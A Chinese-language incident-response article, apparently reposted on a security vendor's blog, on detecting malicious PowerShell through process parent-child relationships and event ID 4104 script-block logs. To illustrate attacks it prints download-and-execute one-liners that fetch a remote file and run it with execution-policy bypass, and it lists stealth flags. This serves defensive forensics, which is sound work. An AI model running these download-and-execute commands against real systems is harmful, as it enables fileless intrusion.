长亭百川云 - 文章详情

应急响应之powershell取证

huasec

52

2024-07-13

                                 01

介绍

      PowerShell在Windows操作系统中应用越来越广泛,在带来方便的同时,它还为攻击者提供了一套几乎前所未有的功能。PowerShell 可以实现几乎所有可以想象的恶意活动:权限提升、凭据盗窃、横向移动、数据破坏、持久性、数据泄露等等。恶意PowerShell 正在被广泛使用。通常攻击者会使用powershell做下载器,从远程服务器下载恶意ps脚本到受害机器,然后使用start- process、Invoke-Item或file将远程文件的内容写到到受害机器的内存中并从那里执行它。

例如:从远程下载1.txt文件保存在C:\Users\\AppData\Roaming路径下并执行

(New-Object Net.WebClient).downloadfile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Invoke-Item$env:Appdata"\whoami.txt"

当然上述例子,也可以换种方式来写,

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-nop -Exec Bypass -Command (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Start-Process $env:APPDATA"\whoami.txt"

DownloadString()不下载文件到主机上,但它将远程文件的内容直接复制到受害机器的内存中。这种技术被广泛用于无文件攻击中。如下,1.txt中是whoami,通过powershell调用执行whoami。

另外,攻击者还会使用PowerShell中各种可用的参数选项来使操作尽可能隐蔽。以下是在攻击中广泛使用的参数

- WindowStyle hidden / -w hidden: 对用户隐藏程序窗口

-Exec Bypass: 绕过/忽略像Restricted这样限制PowerShell脚本运行的执行策略

-Command / -c: 从PowerShell终端执行任何命令

-EncodedCommand/ -e/ --enc: 将编码后的参数作为命令行传递

-Nop / -noprofile: 忽略Profile文件中的命令。

02

检测

观察PowerShell进程的父子关系

通常,当我们使用windows开始菜单或直接点击powershell文件运行PowerShell时,它会在进程Explorer .exe下启动,

但是在PowerShell攻击中,PowerShell脚本/命令是通过命令行进程启动的,因此在攻击中PowerShell进程的父进程是cmd.exe。当然有些正常环境也是使用cmd启动powershell,故需要结合cmd的父进程是否为恶意。

日志上

Microsoft-Windows-PowerShell - Operational.evtx记录了主机上的powershell历史执行命令。其中事件ID 4104(执行远程命令)中的 Scriptblock 文本通常包含执行操作的代码。

可以使用block-parser进行解析,下载地址:

https://github.com/matthewdunwoody/block-parser。

依赖库:lxml、python-evtx

使用方法:

`将所有powershell脚本解析到一个文件中``>python block-parser.py -a -foutput "Microsoft-Windows-PowerShell%4Operational.evtx"``将每个powershell脚本单独解析到一个文件中``>python block-parser.py -o  output2  "Microsoft-Windows-PowerShell%4Operational.evtx"`
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2